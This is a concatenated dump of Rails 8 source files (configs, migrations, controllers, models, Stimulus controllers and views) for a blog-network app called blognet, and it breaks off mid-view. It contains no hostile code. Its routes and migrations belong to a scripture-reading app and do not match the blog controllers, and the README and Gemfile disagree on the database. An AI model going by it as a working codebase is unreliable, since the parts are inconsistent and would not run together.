config.host_authorization = { exclude: ->(request) { request.path == "/up" } }
end# frozen_string_literal: true
# Pin npm packages by running ./bin/importmap
pin "application"
pin "@hotwired/turbo-rails", to: "turbo.min.js"
pin "@hotwired/stimulus", to: "@hotwired--stimulus.js" # @3.2.2
pin "@hotwired/stimulus-loading", to: "stimulus-loading.js"
pin_all_from "app/javascript/controllers", under: "controllers"
pin "@stimulus-components/dialog", to: "@stimulus-components--dialog.js" # @1.0.1
pin "@stimulus-components/auto-submit", to: "@stimulus-components--auto-submit.js" # @6.0.0
pin "@stimulus-components/character-counter", to: "@stimulus-components--character-counter.js" # @5.1.0
pin "@stimulus-components/dropdown", to: "@stimulus-components--dropdown.js" # @3.0.0
pin "stimulus-use" # @0.52.3
pin "@stimulus-components/clipboard", to: "@stimulus-components--clipboard.js" # @5.0.0
pin "@stimulus-components/notification", to: "@stimulus-components--notification.js" # @3.0.0
pin "@stimulus-components/timeago", to: "@stimulus-components--timeago.js" # @5.0.2
pin "date-fns" # @4.1.0
pin "@stimulus-components/animated-number", to: "@stimulus-components--animated-number.js" # @5.0.0
pin "@stimulus-components/sortable", to: "@stimulus-components--sortable.js" # @5.0.3
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_request", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_request.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/fetch_response", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--fetch_response.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/lib/utils", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--lib--utils.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/request_interceptor", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--request_interceptor.js" # @0.0.13
pin "https://cdn.jsdelivr.net/npm/@rails/request.js@0.0.13/src/verbs", to: "https:----cdn.jsdelivr.net--npm--@rails--request.js@0.0.13--src--verbs.js" # @0.0.13
pin "@rails/request.js", to: "@rails--request.js.js" # @0.0.13
pin "sortablejs" # @1.15.7# frozen_string_literal: true
# This configuration file will be evaluated by Puma. The top-level methods that
# are invoked here are part of Puma's configuration DSL. For more information
# about methods provided by the DSL, see https://puma.io/puma/Puma/DSL.html.
#
# Puma starts a configurable number of processes (workers) and each process
# serves each request in a thread from an internal thread pool.
#
# You can control the number of workers using ENV["WEB_CONCURRENCY"]. You
# should only set this value when you want to run 2 or more workers. The
# default is already 1. You can set it to `auto` to automatically start a worker
# for each available processor.
#
# The ideal number of threads per worker depends both on how much time the
# application spends waiting for IO operations and on how much you wish to
# prioritize throughput over latency.
#
# As a rule of thumb, increasing the number of threads will increase how much
# traffic a given process can handle (throughput), but due to CRuby's
# Global VM Lock (GVL) it has diminishing returns and will degrade the
# response time (latency) of the application.
#
# The default is set to 3 threads as it's deemed a decent compromise between
# throughput and latency for the average Rails application.
#
# Any libraries that use a connection pool or another resource pool should
# be configured to provide at least as many connections as the number of
# threads. This includes Active Record's `pool` parameter in `database.yml`.
threads_count = ENV.fetch("RAILS_MAX_THREADS", 3)
threads threads_count, threads_count
# Specifies the `port` that Puma will listen on to receive requests; default is 3000.
port ENV.fetch("PORT", 3000)
# Allow puma to be restarted by `bin/rails restart` command.
plugin :tmp_restart
# Run the Solid Queue supervisor inside of Puma for single-server deployments.
plugin :solid_queue if ENV["SOLID_QUEUE_IN_PUMA"]
# Specify the PID file. Defaults to tmp/pids/server.pid in development.
# In other environments, only set the PID file if requested.
pidfile ENV["PIDFILE"] if ENV["PIDFILE"]# frozen_string_literal: true
Rails.application.routes.draw do
resource :session
resources :passwords, param: :token
root "scriptures#index"
get "scripture", to: "scriptures#index", as: :scripture_index
get "scripture/:abbreviation", to: "scriptures#book", as: :scripture_book
get "scripture/:book_abbreviation/:number", to: "scriptures#chapter", as: :scripture_chapter
get "search", to: "scriptures#search", as: :scripture_search
get "word_study", to: "scriptures#word_study", as: :scripture_word_study
resources :highlights, only: %i[create destroy]
resources :bookmarks
get 'manifest' => 'rails/pwa#manifest', as: :pwa_manifest
get 'service-worker' => 'rails/pwa#service_worker', as: :pwa_service_worker
get "up", to: "rails/health#show", as: :rails_health_check
end# frozen_string_literal: true
class CreateUsers < ActiveRecord::Migration[8.1]
def change
create_table :users do |t|
t.string :email_address, null: false
t.string :password_digest, null: false
t.timestamps
end
add_index :users, :email_address, unique: true
end
end# frozen_string_literal: true
class CreateSessions < ActiveRecord::Migration[8.1]
def change
create_table :sessions do |t|
t.references :user, null: false, foreign_key: true
t.string :ip_address
t.string :user_agent
t.timestamps
end
end
end# frozen_string_literal: true
class CreateBooks < ActiveRecord::Migration[8.1]
def change
create_table :books do |t|
t.string :name
t.string :abbreviation
t.string :testament
t.integer :chapter_count
t.integer :order_index
t.timestamps
end
end
end# frozen_string_literal: true
class CreateChapters < ActiveRecord::Migration[8.1]
def change
create_table :chapters do |t|
t.references :book, foreign_key: true
t.integer :number
t.timestamps
end
end
end# frozen_string_literal: true
class CreateVerses < ActiveRecord::Migration[8.1]
def change
create_table :verses do |t|
t.references :chapter, foreign_key: true
t.references :book, foreign_key: true
t.integer :number
t.text :content
t.timestamps
end
end
end# frozen_string_literal: true
class CreateHighlights < ActiveRecord::Migration[8.1]
def change
create_table :highlights do |t|
t.references :verse, foreign_key: true
t.references :user, foreign_key: true
t.string :color
t.text :note
t.timestamps
end
end
end# frozen_string_literal: true
class CreateBookmarks < ActiveRecord::Migration[8.1]
def change
create_table :bookmarks do |t|
t.references :verse, foreign_key: true
t.references :user, foreign_key: true
t.text :note
t.timestamps
end
end
end# frozen_string_literal: true
class CreateReadingPlans < ActiveRecord::Migration[8.1]
def change
create_table :reading_plans do |t|
t.string :name
t.text :description
t.integer :duration_days
t.references :user, foreign_key: true
t.timestamps
end
end
end# frozen_string_literal: true
class CreateReadingPlanDays < ActiveRecord::Migration[8.1]
def change
create_table :reading_plan_days do |t|
t.references :reading_plan, foreign_key: true
t.integer :day_number
t.references :book, foreign_key: true
t.integer :chapter_start
t.integer :chapter_end
t.datetime :completed_at
t.timestamps
end
end
end# frozen_string_literal: true
class CreateCrossReferences < ActiveRecord::Migration[8.1]
def change
create_table :cross_references do |t|
t.references :verse, null: false, foreign_key: true
t.references :target_verse, null: false, foreign_key: { to_table: :verses }
t.string :kind # lexical | thematic | parallel | typological | fulfillment
t.text :note
t.timestamps
end
add_index :cross_references, %i[verse_id target_verse_id], unique: true
end
end# frozen_string_literal: true
class CreateWordStudies < ActiveRecord::Migration[8.1]
def change
create_table :word_studies do |t|
t.references :verse, null: false, foreign_key: true
t.integer :position, null: false # 0-indexed word position in verse
t.string :word, null: false # surface form
t.string :original # Hebrew / Greek / Arabic
t.string :transliteration
t.string :strongs # H1234 or G5678
t.string :language # hebrew | greek | arabic
t.text :definition
t.timestamps
end
add_index :word_studies, %i[verse_id position], unique: true
end
end# frozen_string_literal: true
class CreateVersesFts < ActiveRecord::Migration[8.1]
def up
execute <<~SQL
CREATE VIRTUAL TABLE verses_fts USING fts5(
content,
content='verses', content_rowid='id',
tokenize='unicode61'
);
INSERT INTO verses_fts(rowid, content) SELECT id, content FROM verses;
CREATE TRIGGER verses_ai AFTER INSERT ON verses BEGIN
INSERT INTO verses_fts(rowid, content) VALUES (new.id, new.content);
END;
CREATE TRIGGER verses_au AFTER UPDATE ON verses BEGIN
INSERT INTO verses_fts(verses_fts, rowid, content)
VALUES ('delete', old.id, old.content);
INSERT INTO verses_fts(rowid, content) VALUES (new.id, new.content);
END;
CREATE TRIGGER verses_ad AFTER DELETE ON verses BEGIN
INSERT INTO verses_fts(verses_fts, rowid, content)
VALUES ('delete', old.id, old.content);
END;
SQL
end
def down
execute "DROP TABLE IF EXISTS verses_fts"
execute "DROP TRIGGER IF EXISTS verses_ai"
execute "DROP TRIGGER IF EXISTS verses_au"
execute "DROP TRIGGER IF EXISTS verses_ad"
end
end# frozen_string_literal: true
# This file should ensure the existence of records required to run the application in every environment (production,
# development, test). The code here should be idempotent so that it can be executed at any point in every environment.
# The data can then be loaded with the bin/rails db:seed command (or created alongside the database with db:setup).
#
# Example:
#
# ["Action", "Comedy", "Drama", "Horror"].each do |genre_name|
# MovieGenre.find_or_create_by!(name: genre_name)
# endsource "https://rubygems.org"
ruby "~> 3.4"
# Bundle edge Rails instead: gem "rails", github: "rails/rails", branch: "main"
gem "rails", "~> 8.1.2"
# The modern asset pipeline for Rails [https://github.com/rails/propshaft]
gem "propshaft"
# Use sqlite3 as the database for Active Record
gem "sqlite3", ">= 2.1"
# Use the Puma web server [https://github.com/puma/puma]
# Use JavaScript with ESM import maps [https://github.com/rails/importmap-rails]
gem "importmap-rails"
# Hotwire's SPA-like page accelerator [https://turbo.hotwired.dev]
gem "turbo-rails"
# Hotwire's modest JavaScript framework [https://stimulus.hotwired.dev]
gem "stimulus-rails"
# Build JSON APIs with ease [https://github.com/rails/jbuilder]
gem "jbuilder"
# Use Active Model has_secure_password [https://guides.rubyonrails.org/active_model_basics.html#securepassword]
gem "bcrypt", "~> 3.1.7"
# Windows does not include zoneinfo files, so bundle the tzinfo-data gem
gem "tzinfo-data", platforms: %i[ windows jruby ]
# Use the database-backed adapters for Rails.cache, Active Job, and Action Cable
gem "solid_cache"
gem "solid_queue"
gem "solid_cable"
# Reduces boot times through caching; required in config/boot.rb
gem "bootsnap", require: false
# Use Active Storage variants [https://guides.rubyonrails.org/active_storage_overview.html#transforming-images]
gem "image_processing", "~> 1.2"
group :development, :test do
# See https://guides.rubyonrails.org/debugging_rails_applications.html#debugging-with-the-debug-gem
gem "debug", platforms: %i[ mri windows ], require: "debug/prelude"
# Audits gems for known security defects (use config/bundler-audit.yml to ignore issues)
gem "bundler-audit", require: false
# Static analysis for security vulnerabilities [https://brakemanscanner.org/]
gem "brakeman", require: false
# Omakase Ruby styling [https://github.com/rails/rubocop-rails-omakase/]
gem "rubocop-rails-omakase", require: false
end
group :development do
# Use console on exceptions pages [https://github.com/rails/web-console]
gem "web-console"
end
gem "pagy"
gem "friendly_id"
gem "falcon"
# blognet
blognet is the publishing and editorial network product.
It should mirror a standard Rails application structure:
- app
- config
- db
- lib
- public
- storage
- test
## Product role
blognet is a semantic publishing and knowledge platform built on Rails 8.
It combines longform writing, semantic discovery, AI-assisted editing, creator subscriptions, recipe/editorial verticals, and knowledge graph navigation into one durable publishing system.
## Core ownership
blognet owns:
- blogs
- posts
- recipes
- categories
- tags
- editorial workflows
- media embeds
- comments
- feeds
- structured article metadata
- author profiles
- publication discovery
- semantic search
- knowledge graph indexing
## Foodielicious
Foodielicious is the food vertical inside blognet.
Public brand:
foodielicio.us
Foodielicious direction:
- recipe-first editorial UX
- rich media galleries
- structured recipe schema
- ingredient metadata
- step-by-step cooking views
- short-form food clips
- locality-aware restaurant and ingredient references
- recipe collections and playlists
- seasonal food guides
- Norwegian food culture coverage
The inspiration is Matprat-style usefulness: recipes, guides, editorial food knowledge, seasonal collections, and practical cooking flows. The implementation, branding, copy, and visual identity should remain original.
## Shared platform dependencies
blognet should integrate with shared Rails platform systems:
- identity
- media pipeline
- comments
- moderation
- search
- notifications
- analytics
- structured data helpers
- Stimulus component registry
## Frontend direction
Use:
- Stimulus Components
- stimulus-lightbox
- lightGallery.js
- Turbo
- importmap
The public product should feel editorial and locality-aware, not like a generic CMS.
## Features
- longform publishing
- semantic search
- memberships
- subscriptions
- AI narration
- semantic clustering
- citation systems
- topic exploration
- recipe publishing
- media galleries
- food verticals
## Systems to build next
### Multimedia conversion
Convert:
- articles to podcast
- articles to summaries
- articles to video
- articles to threads
### Research mode
Support:
- semantic note systems
- source clustering
- timeline generation
- knowledge archives
### Recipe mode
Support:
- ingredients
- methods
- cook time
- difficulty
- nutrition metadata
- recipe cards
- collections
- gallery/video support
## Stack
Rails 8, PostgreSQL, pgvector, Hotwire, OpenBSD.
## AI direction
Use embeddings, semantic retrieval, GraphRAG, clustering, and knowledge graph indexing.
## Deploy
cd ~/pub4/DEPLOY/rails/blognet
doas zsh blognet.sh
## Long-term goal
Build a durable semantic publishing and knowledge network for independent writers and high-quality editorial verticals.# frozen_string_literal: true
module ApplicationCable
class Connection < ActionCable::Connection::Base
identified_by :current_user
def connect
set_current_user || reject_unauthorized_connection
end
private
def set_current_user
if session = Session.find_by(id: cookies.signed[:session_id])
self.current_user = session.user
end
end
end
end# frozen_string_literal: true
class ApplicationController < ActionController::Base
include Authentication
include Pagy::Method
allow_browser versions: :modern
end# frozen_string_literal: true
class BlogsController < ApplicationController
before_action :require_authentication, except: %i[index show]
before_action :set_blog, only: %i[show edit update destroy]
before_action :authorize!, only: %i[edit update destroy]
def index
@pagy, @blogs = pagy(Blog.published.includes(:user).recent)
end
def show
@pagy, @posts = pagy(@blog.posts.published.includes(:user, :tags))
end
def new
@blog = Current.user.blogs.build
end
def create
@blog = Current.user.blogs.build(blog_params)
@blog.save ? redirect_to(@blog, notice: "Blog created") : render(:new, status: :unprocessable_entity)
end
def edit; end
def update
@blog.update(blog_params) ? redirect_to(@blog, notice: "Updated") : render(:edit, status: :unprocessable_entity)
end
def destroy
@blog.destroy
redirect_to blogs_path, notice: "Blog deleted"
end
private
def set_blog = @blog = Blog.find_by!(slug: params[:id])
def authorize! = redirect_to(blogs_path, alert: "Unauthorized") unless @blog.user == Current.user
def blog_params = params.require(:blog).permit(:name, :description, :published, :banner)
end# frozen_string_literal: true
class CommentsController < ApplicationController
before_action :require_authentication
before_action :set_post
def create
@comment = @post.comments.build(comment_params.merge(user: Current.user))
if @comment.save
respond_to do |format|
format.turbo_stream
format.html { redirect_to [@post.blog, @post] }
end
else
render :new, status: :unprocessable_entity
end
end
def destroy
@comment = @post.comments.find(params[:id])
@comment.destroy! if @comment.user == Current.user
respond_to do |format|
format.turbo_stream
format.html { redirect_to [@post.blog, @post] }
end
end
private
def set_post = @post = Post.find_by!(slug: params[:post_id])
def comment_params
params.require(:comment).permit(:content, :parent_id)
end
end# frozen_string_literal: true
module Authentication
extend ActiveSupport::Concern
included do
before_action :require_authentication
helper_method :authenticated?
end
class_methods do
def allow_unauthenticated_access(**options)
skip_before_action :require_authentication, **options
end
end
private
def authenticated?
resume_session
end
def require_authentication
resume_session || request_authentication
end
def resume_session
Current.session ||= find_session_by_cookie
end
def find_session_by_cookie
Session.find_by(id: cookies.signed[:session_id]) if cookies.signed[:session_id]
end
def request_authentication
session[:return_to_after_authenticating] = request.url
redirect_to new_session_path
end
def after_authentication_url
session.delete(:return_to_after_authenticating) || root_url
end
def start_new_session_for(user)
user.sessions.create!(user_agent: request.user_agent, ip_address: request.remote_ip).tap do |session|
Current.session = session
cookies.signed.permanent[:session_id] = { value: session.id, httponly: true, same_site: :lax }
end
end
def terminate_session
Current.session.destroy
cookies.delete(:session_id)
end
end# frozen_string_literal: true
class PasswordsController < ApplicationController
allow_unauthenticated_access
before_action :set_user_by_token, only: %i[ edit update ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_password_path, alert: "Try again later." }
def new
end
def create
if user = User.find_by(email_address: params[:email_address])
PasswordsMailer.reset(user).deliver_later
end
redirect_to new_session_path, notice: "Password reset instructions sent (if user with that email address exists)."
end
def edit
end
def update
if @user.update(params.permit(:password, :password_confirmation))
@user.sessions.destroy_all
redirect_to new_session_path, notice: "Password has been reset."
else
redirect_to edit_password_path(params[:token]), alert: "Passwords did not match."
end
end
private
def set_user_by_token
@user = User.find_by_password_reset_token!(params[:token])
rescue ActiveSupport::MessageVerifier::InvalidSignature
redirect_to new_password_path, alert: "Password reset link is invalid or has expired."
end
end# frozen_string_literal: true
class PostsController < ApplicationController
before_action :require_authentication, except: %i[index show]
before_action :set_blog
before_action :set_post, only: %i[show edit update destroy]
before_action :authorize!, only: %i[edit update destroy]
def index
@pagy, @posts = pagy(@blog.posts.published.includes(:user, :tags))
end
def show
@post.increment!(:views_count)
@comments = @post.comments.approved.roots.includes(:user, :replies)
@comment = Comment.new
end
def new
@post = @blog.posts.build
end
def create
@post = @blog.posts.build(post_params.merge(user: Current.user))
@post.save ? redirect_to([@blog, @post], notice: "Post created") : render(:new, status: :unprocessable_entity)
end
def edit; end
def update
@post.update(post_params) ? redirect_to([@blog, @post], notice: "Updated") : render(:edit, status: :unprocessable_entity)
end
def destroy
@post.destroy
redirect_to @blog, notice: "Post deleted"
end
private
def set_blog = @blog = Blog.find_by!(slug: params[:blog_id])
def set_post = @post = @blog.posts.find_by!(slug: params[:id])
def authorize! = redirect_to(@blog, alert: "Unauthorized") unless @post.user == Current.user
def post_params
params.require(:post).permit(:title, :body, :published, :slug, images: [])
end
end# frozen_string_literal: true
class SessionsController < ApplicationController
allow_unauthenticated_access only: %i[ new create ]
rate_limit to: 10, within: 3.minutes, only: :create, with: -> { redirect_to new_session_path, alert: "Try again later." }
def new
end
def create
if user = User.authenticate_by(params.permit(:email_address, :password))
start_new_session_for user
redirect_to after_authentication_url
else
redirect_to new_session_path, alert: "Try another email address or password."
end
end
def destroy
terminate_session
redirect_to new_session_path, status: :see_other
end
end// Configure your import map in config/importmap.rb. Read more: https://github.com/rails/importmap-rails
import "@hotwired/turbo-rails"
import "controllers"
if ("serviceWorker" in navigator) navigator.serviceWorker.register("/service-worker")
// Nav swipe-to-reveal
document.addEventListener("turbo:load", () => {
const nav = document.querySelector("nav");
if (!nav) return;
let y0 = 0;
document.addEventListener("touchstart", e => { y0 = e.touches[0].clientY; }, { passive: true });
document.addEventListener("touchend", e => {
const dy = e.changedTouches[0].clientY - y0;
if (dy > 40) nav.classList.add("nav-visible");
else if (dy < -40) nav.classList.remove("nav-visible");
}, { passive: true });
});import AnimatedNumber from "@stimulus-components/animated-number"
export default class extends AnimatedNumber {}import { Application } from "@hotwired/stimulus"
const application = Application.start()
// Configure Stimulus development experience
application.debug = false
window.Stimulus = application
export { application }import { Controller } from "@hotwired/stimulus"
import StimulusReflex from "stimulus_reflex"
export default class extends Controller {
connect() {
StimulusReflex.register(this)
}
}import AutoSubmit from "@stimulus-components/auto-submit"
export default class extends AutoSubmit {}import CharacterCounter from "@stimulus-components/character-counter"
export default class extends CharacterCounter {}import Clipboard from "@stimulus-components/clipboard"
export default class extends Clipboard {}import Dialog from "@stimulus-components/dialog"
export default class extends Dialog {}import Dropdown from "@stimulus-components/dropdown"
export default class extends Dropdown {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
connect() {
this.element.textContent = "Hello World!"
}
}import { application } from "controllers/application"
import { eagerLoadControllersFrom } from "@hotwired/stimulus-loading"
import StimulusReflex from "stimulus_reflex"
import ApplicationController from "controllers/application_controller"
eagerLoadControllersFrom("controllers", application)
StimulusReflex.initialize(application, { applicationController: ApplicationController, isolate: true })import Notification from "@stimulus-components/notification"
export default class extends Notification {}import Sortable from "@stimulus-components/sortable"
export default class extends Sortable {}import { Controller } from "@hotwired/stimulus"
export default class extends Controller {
connect() {
this.resize()
this.element.addEventListener("input", this.resize)
}
disconnect() {
this.element.removeEventListener("input", this.resize)
}
resize = () => {
this.element.style.height = "auto"
this.element.style.height = `${this.element.scrollHeight}px`
}
}import TimeAgo from "@stimulus-components/timeago"
export default class extends TimeAgo {}# frozen_string_literal: true
class PasswordsMailer < ApplicationMailer
def reset(user)
@user = user
mail subject: "Reset your password", to: user.email_address
end
end# frozen_string_literal: true
class Blog < ApplicationRecord
belongs_to :user
has_many :posts, dependent: :destroy
has_one_attached :banner
validates :name, :slug, presence: true
validates :slug, uniqueness: true, format: { with: /\A[a-z0-9-]+\z/ }
before_validation :generate_slug, on: :create
scope :published, -> { where(published: true) }
scope :recent, -> { order(created_at: :desc) }
def to_param = slug
private
def generate_slug
self.slug ||= name.to_s.parameterize
end
end# frozen_string_literal: true
class Categorization < ApplicationRecord
belongs_to :post
belongs_to :category
validates :post_id, uniqueness: { scope: :category_id }
end# frozen_string_literal: true
class Category < ApplicationRecord
has_many :categorizations, dependent: :destroy
has_many :posts, through: :categorizations
validates :name, :slug, presence: true
validates :slug, uniqueness: true, format: { with: /\A[a-z0-9-]+\z/ }
before_validation :generate_slug, on: :create
def to_param = slug
private
def generate_slug
self.slug ||= name.to_s.parameterize
end
end# frozen_string_literal: true
class Comment < ApplicationRecord
belongs_to :post
belongs_to :user
belongs_to :parent, class_name: "Comment", optional: true
has_many :replies, class_name: "Comment", foreign_key: :parent_id, dependent: :destroy
validates :content, presence: true, length: { maximum: 5000 }
scope :roots, -> { where(parent_id: nil).order(created_at: :asc) }
scope :approved, -> { where(approved: true) }
after_create_commit :broadcast_comment
private
def broadcast_comment
broadcast_append_to [post, "comments"], partial: "comments/comment", locals: { comment: self }
post.increment!(:comments_count)
end
end# frozen_string_literal: true
class Current < ActiveSupport::CurrentAttributes
attribute :session
delegate :user, to: :session, allow_nil: true
end# frozen_string_literal: true
class Post < ApplicationRecord
belongs_to :blog
belongs_to :user
has_rich_text :body
has_many_attached :images
has_many :comments, dependent: :destroy
has_many :categorizations, dependent: :destroy
has_many :categories, through: :categorizations
has_many :taggings, dependent: :destroy
has_many :tags, through: :taggings
validates :title, :slug, presence: true
validates :slug, uniqueness: true, format: { with: /\A[a-z0-9-]+\z/ }
before_validation :generate_slug, on: :create
before_save :set_published_at
scope :published, -> { where(published: true).order(published_at: :desc) }
scope :drafts, -> { where(published: false) }
scope :recent, -> { order(created_at: :desc) }
def to_param = slug
def reading_time
words = body.to_plain_text.split.size
[(words / 200.0).ceil, 1].max
end
private
def generate_slug
self.slug ||= title.to_s.parameterize
end
def set_published_at
self.published_at = Time.current if published? && published_at.nil?
end
end# frozen_string_literal: true
class Session < ApplicationRecord
belongs_to :user
end# frozen_string_literal: true
class Tag < ApplicationRecord
has_many :taggings, dependent: :destroy
has_many :posts, through: :taggings
validates :name, presence: true, uniqueness: true
before_validation -> { self.name = name.to_s.strip.downcase }, on: :create
scope :popular, -> { where("posts_count > 0").order(posts_count: :desc) }
end# frozen_string_literal: true
class Tagging < ApplicationRecord
belongs_to :post
belongs_to :tag, counter_cache: :posts_count
validates :post_id, uniqueness: { scope: :tag_id }
end# frozen_string_literal: true
class User < ApplicationRecord
has_secure_password
has_many :sessions, dependent: :destroy
normalizes :email_address, with: ->(e) { e.strip.downcase }
end# frozen_string_literal: true
class ApplicationReflex < StimulusReflex::Reflex
end<figure class="attachment attachment--<%= blob.representable? ? "preview" : "file" %> attachment--<%= blob.filename.extension %>">
<% if blob.representable? %>
<%= image_tag blob.representation(resize_to_limit: local_assigns[:in_gallery] ? [ 800, 600 ] : [ 1024, 768 ]) %>
<% end %>
<figcaption class="attachment__caption">
<% if caption = blob.try(:caption) %>
<%= caption %>
<% else %>
<span class="attachment__name"><%= blob.filename %></span>
<span class="attachment__size"><%= number_to_human_size blob.byte_size %></span>
<% end %>
</figcaption>
</figure><%= form_with model: blog do |f| %>
<%= render "shared/errors", object: blog %>
<p><%= f.label :name %><%= f.text_field :name, autofocus: true %></p>
<p><%= f.label :description %><%= f.text_area :description, rows: 2 %></p>
<p><%= f.label :published %><%= f.check_box :published %></p>
<p><%= f.submit %> <%= link_to "Cancel", blogs_path %></p>
<% end %><% content_for :title, "Edit blog" %>
<h1>Edit <%= @blog.name %></h1>
<%= render "form", blog: @blog %><% content_for :title, "Blogs" %>
<header>
<h1>Blogs</h1>
<% if authenticated? %><%= link_to "New blog", new_blog_path %><% end %>
</header>
<section id="blogs">
<% @blogs.each do |blog| %>
<article>
<%= link_to blog.name, blog_path(blog) %>
<p><%= blog.description %></p>
<small><%= blog.posts_count %> posts</small>
</article>
<% end %>
</section>
<%= @pagy.series_nav if @pagy.pages > 1 %><% content_for :title, "New blog" %>
<h1>New blog</h1>
<%= render "form", blog: @blog %><% content_for :title, @blog.name %>
<header>
<h1><%= @blog.name %></h1>
<p><%= @blog.description %></p>
<% if @blog.user == Current.user %>
<%= link_to "New post", new_blog_post_path(@blog) %>
<%= link_to "Edit", edit_blog_path(@blog) %>
<% end %>
</header>
<section id="posts">
<% @posts.each do |post| %>
<article>
<%= link_to post.title, blog_post_path(@blog, post) %>
<small><%= post.published_at&.strftime("%b %-d, %Y") %> · <%= post.views_count %> views · <%= post.comments_count %> comments</small>
</article>
<% end %>
</section>
<%= @pagy.series_nav if @pagy.pages > 1 %><article id="<%= dom_id(comment) %>">
<small><%= comment.user.email_address.split("@").first %></small>
<p><%= comment.content %></p>
<% if authenticated? && (comment.user == Current.user || @blog.user == Current.user) %>
<%= button_to "Delete", blog_post_comment_path(@blog, @post, comment), method: :delete %>
<% end %>
</article><div class="trix-content">
<%= yield -%>
</div><!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width,initial-scale=1">
<meta name="theme-color" content="#1a1a1a">
<meta name="turbo-cache-control" content="no-preview">
<title><%= content_for?(:title) ? "#{yield :title} — Blognet" : "Blognet" %></title>
<meta name="description" content="<%= content_for?(:description) ? yield(:description) : "Blognet — a network of blogs. Write, publish, and discover long-form content from writers worldwide." %>">
<link rel="canonical" href="<%= request.original_url.split("?").first %>">
<meta property="og:site_name" content="Blognet">
<meta property="og:title" content="<%= content_for?(:title) ? yield(:title) : "Blognet" %>">
<meta property="og:description" content="<%= content_for?(:description) ? yield(:description) : "A network of blogs. Write, publish, and discover long-form content from writers worldwide." %>">
<meta property="og:url" content="<%= request.original_url %>">
<meta property="og:type" content="website">
<meta name="twitter:card" content="summary">
<meta name="twitter:title" content="<%= content_for?(:title) ? yield(:title) : "Blognet" %>">
<meta name="twitter:description" content="<%= content_for?(:description) ? yield(:description) : "A network of blogs. Write, publish, and discover long-form content from writers worldwide." %>">
<%= csrf_meta_tags %>
<%= csp_meta_tag %>
<link rel="icon" href="/icon.png" type="image/png">
<link rel="apple-touch-icon" href="/icon.png">
<%= tag.link rel: "manifest", href: pwa_manifest_path(format: :json) %>
<%= stylesheet_link_tag :app, "data-turbo-track": "reload" %>
<link rel="stylesheet" href="/styles/minimal-ui.css">
<%= yield :json_ld %>
<%= javascript_importmap_tags %>
<script type="module" src="/minimal-gesture.js"></script>
</head>
<body class="zen-minimal">
<nav>
<%= link_to "Blognet", root_path, class: "brand" %>
<%= link_to "Blogs", blogs_path %>
<% if authenticated? %>
<%= link_to "New blog", new_blog_path %>
<%= link_to "Sign out", session_path, data: { turbo_method: :delete } %>
<% else %>
<%= link_to "Sign in", new_session_path %>
<% end %>
</nav>
<%= tag.p(notice, role: "status", class: "flash-notice") if notice %>
<%= tag.p(alert, role: "alert", class: "flash-alert") if alert %>
<main><%= yield %></main>
</body>
</html><!DOCTYPE html>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<style>
/* Email styles need to be inline */
</style>
</head>
<body>
<%= yield %>
</body>
</html><%= yield %><h1>Update your password</h1>
<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<%= form_with url: password_path(params[:token]), method: :put do |form| %>
<p><%= form.password_field :password, required: true, autocomplete: "new-password", placeholder: "Enter new password", maxlength: 72 %></p>
<p><%= form.password_field :password_confirmation, required: true, autocomplete: "new-password", placeholder: "Repeat new password", maxlength: 72 %></p>
<p><%= form.submit "Save" %></p>
<% end %><h1>Forgot your password?</h1>
<% if flash[:alert] %><p role="alert"><%= flash[:alert] %></p><% end %>
<%= form_with url: passwords_path do |form| %>
<p><%= form.email_field :email_address, required: true, autofocus: true, autocomplete: "username", placeholder: "Enter your email address", value: params[:email_address] %></p>
<p><%= form.submit "Email reset instructions" %></p>
<% end %><p>
You can reset your password on
<%= link_to "this password reset page", edit_password_url(@user.password_reset_token) %>.
This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.
</p>You can reset your password on
<%= edit_password_url(@user.password_reset_token) %>
This link will expire in <%= distance_of_time_in_words(0, @user.password_reset_token_expires_in) %>.<%= form_with model: [@blog, post] do |f| %>
<%= render "shared/errors", object: post %>
<p><%= f.label :title %><%= f.text_field :title, autofocus: true %></p>
<p><%= f.label :body %><%= f.rich_text_area :body %></p>
<p><%= f.label :published %><%= f.check_box :published %></p>
<p><%= f.submit %> <%= link_to "Cancel", blog_path(@blog) %></p>
<% end %><% content_for :title, "Edit post" %>
<h1>Edit post</h1>
<%= render "form", blog: @blog, post: @post %><% content_for :title, "Posts · #{@blog.name}" %>
<header>
<h1><%= @blog.name %></h1>
<p><%= @blog.description %></p>
<% if @blog.user == Current.user %>
<%= link_to "New post", new_blog_post_path(@blog) %>
<% end %>
</header>
<section id="posts">
<% if @posts.any? %>
<% @posts.each do |post| %>
<article>
<h2><%= link_to post.title, blog_post_path(@blog, post) %></h2>
<small><%= post.published_at&.strftime("%b %-d, %Y") %> · <%= post.views_count %> views · <%= post.comments_count %> comments</small>
</article>
<% end %>
<% else %>
<p>No posts published yet.</p>
<% end %>
</section>
<%= @pagy.series_nav if @pagy.pages > 1 %><% content_for :title, "New post" %>
<h1>New post</h1>
<%= render "form", blog: @blog, post: @post %><% content_for :title, @post.title %>
<article>
<header>
<h1><%= @post.title %></h1>
<small><%= @post.user.email_address.split("@").first %> · <%= @post.published_at&.strftime("%b %-d, %Y") %> · <%= @post.views_count %> views</small>
<% if @post.user == Current.user %>
<%= link_to "Edit", edit_blog_post_path(@blog, @post) %>
<%= button_to "Delete", blog_post_path(@blog, @post), method: :delete, data: { turbo_confirm: "Delete post?" } %>
<% end %>
</header>
<%= @post.body %>
</article>
<section id="comments">
<h2>Comments (<%= @post.comments_count %>)</h2>
<%= render @comments %>
<% if authenticated? %>
<%= form_with url: blog_post_comments_path(@blog, @post) do |f| %>
<p><%= f.text_area :content, rows: 3, placeholder: "Add a comment…" %></p>
